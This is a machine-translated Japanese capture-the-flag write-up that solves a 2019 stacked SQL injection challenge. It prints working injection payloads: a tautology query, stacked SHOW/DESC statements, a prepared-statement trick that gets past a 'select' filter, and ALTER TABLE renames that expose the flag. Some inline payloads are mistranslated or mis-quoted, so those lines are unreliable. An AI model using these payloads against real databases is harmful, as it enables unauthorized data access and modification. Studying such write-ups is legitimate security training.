3番目の質問-[强0042杯2019]カジュアルノート

件名アドレス:https//buuoj.cn/challenges

問題解決のアイデア

最初のステップ:タイトル、入力フィールドを入力します。タイトルから、SQLインジェクション攻撃であることがわかります。

ここに画像の説明を挿入

ステップ2:SQLステートメントをテストする

入力1' or 1=1 #すると、現在のテーブルのすべてのデータが表示されます
ここに画像の説明を挿入

ステップ3:スタックインジェクションを使用してテーブル名を表示する

  1. 入力し1';show tables;てすべてのテーブル表示すると、2つのテーブルがあります。1つは単語テーブルで、もう1つは1919810931114514テーブルです。
    ここに画像の説明を挿入

  2. 1';desc words#単語テーブルの内容表示するには、Enterキーを押します。idとdataの2つの列があります。
    ここに画像の説明を挿入

  3. 1919810931114514テーブルのコンテンツ1';desc#表示するには、1919810931114514と入力ます。必要なフラグがあります。
    ここに画像の説明を挿入

ステップ4:選択を使用してフラグを取得する

1';select * from '1919810931114514';取得テーブルにフラグを入力すると、傍受されていることがわかりました。傍受プロンプトから、select、updateなどの機能がフィルタリングされていることがわかりました。
ここに画像の説明を挿入

ステップ5:事前コンパイルを使用して選択制限をバイパスする

1';set @sql = CONCAT('se','lect * from '1919810931114514';');prepare stmt from @sql;EXECUTE stmt;#フラグ表示するにはEnterキーを押します。

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#

見つかった、またはブロックされた
ここに画像の説明を挿入

プロンプトを確認し、strstr関数がインターセプトに使用されていることを確認します。strstrでは大文字と小文字が区別されないため、今すぐ入力を大文字で開始するように変更することは、価格を上げた後
1';Set @sql = CONCAT('se','lect * from '1919810931114514';');Prepare stmt from @sql;EXECUTE stmt;#フラグ同等です。flag{89c5d790-b14d-4661-9fdf- 4aa4e41188ff}
ここに画像の説明を挿入

アイデア2

3番目のステップでテーブルのフィールド情報を見ると、1' or 1=1 #wordsテーブルのすべての情報が入力フィールドに表示されることがわかりました。デフォルトのステートメントの実行時にwordsテーブルが指定されていると推測されます。示されたメソッドを変更して、1919810931114514テーブルの名前を変更します。つまり、実行後に1' or 1=1 #フラグを確認できます。

テーブル名を変更する

原理

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

具体的な声明

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

クエリフラグ

入ると1' or 1=1 #旗が見えます
ここに画像の説明を挿入

スタック噴射の原理

名前が示すように積み上げ注入は、クエリのために一緒に文をスタックすることである。
原理は非常に単純ですmysql_multi_query()、同時に実行する複数のSQL文をサポートしていますつまり、1;分離し、重ねてSQL文を実行
例:select * from users;show databases;

おすすめ

転載: blog.csdn.net/qq_37589805/article/details/115353583